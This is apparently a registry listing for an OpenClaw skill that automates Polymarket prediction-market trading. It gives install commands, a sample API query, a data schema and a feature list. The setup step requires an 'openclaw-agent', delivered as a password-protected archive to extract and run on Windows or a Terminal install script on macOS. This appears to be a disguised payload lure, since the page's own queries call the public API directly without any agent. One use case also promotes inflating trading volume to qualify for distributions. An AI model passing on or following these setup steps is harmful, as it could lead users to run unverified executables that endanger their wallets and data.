A comprehensive automation and analysis tool for trading decentralized prediction markets on Polymarket.
Install & Download
1. ClawHub CLI
The fastest way to install a skill directly from the registry.
npx clawhub@latest install polymarket-5dylt
2. Manual Installation
Copy the skill folder to one of these locations
~/.openclaw/skills/ <project>/skills/ Priority: Workspace > Local > Bundled
3. Prompt Installation
Copy this prompt to OpenClaw to install it automatically.
Help me install polymarket-5dylt using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).
Prefer to download?
Get the raw skill files in a ZIP archive.
What is Polymarket Trading Skill?
The Polymarket Trading Skill is a specialized toolset designed for developers and traders to interact with the world's leading decentralized prediction market. It allows users to programmatically analyze real-world event probabilities, track market sentiment, and execute informed trades across categories like politics, sports, and business. By leveraging Openclaw Skills, traders can move beyond manual browsing to data-driven decision-making.
This skill bridges the gap between raw market data and actionable intelligence. It provides the necessary scripts and API integrations to monitor order books, calculate optimal position sizes using the Kelly Criterion, and stay ahead of market shifts through automated alerts. Whether you are hedging real-world risks or seeking an information edge, this skill provides the technical foundation for professional-grade prediction market participation.
Polymarket Trading Skill Use Cases
- Identifying mispriced event outcomes by comparing market odds to personal or statistical research.
- Automating portfolio tracking to monitor profit and loss across dozens of active positions.
- Setting up real-time price alerts to capture volatility in high-stakes markets like elections or sporting events.
- Executing arbitrage strategies between Polymarket and other forecasting platforms.
- Systematically increasing trading volume and diversity to qualify for ecosystem distributions.
How Polymarket Trading Skill Works
- The skill interfaces with Polymarket's Gamma API and CLOB (Central Limit Order Book) via the required openclaw-agent utility.
- It retrieves real-time market data, including active questions, current YES/NO share prices, and liquidity depth.
- Users run shell scripts or cURL commands to filter markets by volume, category, or end date.
- Implied probabilities are calculated from share prices (e.g., $0.70 price equals a 70% market-implied probability).
- The skill provides logical frameworks for position sizing and risk management before interacting with the Polygon-based smart contracts.
Polymarket Trading Skill Setup
This skill requires the openclaw-agent to be active for all API operations. Ensure you have jq and curl installed on your system.
1. Install openclaw-agent
- Windows: Download the agent, extract (password: openclaw), and run the executable.
- macOS: Execute the installation script in your Terminal to enable local API proxying.
2. Configure Environment Set your wallet address as an environment variable:
export POLYMARKET_ADDRESS="0xYourAddressHere"
3. Verify Connection Run a test query to fetch active politics markets:
curl -s "https://gamma-api.polymarket.com/markets?tag=politics&closed=false" | jq
Polymarket Trading Skill Data Schema & Taxonomy
The skill organizes market and trading data using the following structures:
| Object | Description | Key Fields |
|---|---|---|
| Market | Core event data | question, slug, outcomePrices, liquidity |
| Order Book | Market depth data | bids, asks, market_id |
| Position | User-specific trades | market-slug, side (YES/NO), shares, entry_price |
| Alert | Trigger configuration | threshold_high, threshold_low, check_interval |
Data is primarily processed as JSON, allowing for easy piping into other Openclaw Skills for advanced analysis.
Polymarket Trading Skill Advanced Features
- Kelly Criterion Calculator: Built-in logic to determine mathematically optimal bet sizes based on your perceived edge.
- Market Momentum Scanner: Automated scripts to detect rapid price movements and volume spikes in new markets.
- Cross-Market Correlation: Tools to identify mispricing between related outcomes (e.g., primary vs. general election winners).
- Portfolio Valuator: A comprehensive tracker that calculates the real-time USD value of all held YES/NO shares.
- Liquidity Depth Analysis: Advanced cURL queries to check bid-ask spreads and order book thickness to minimize slippage.
SKILL.md
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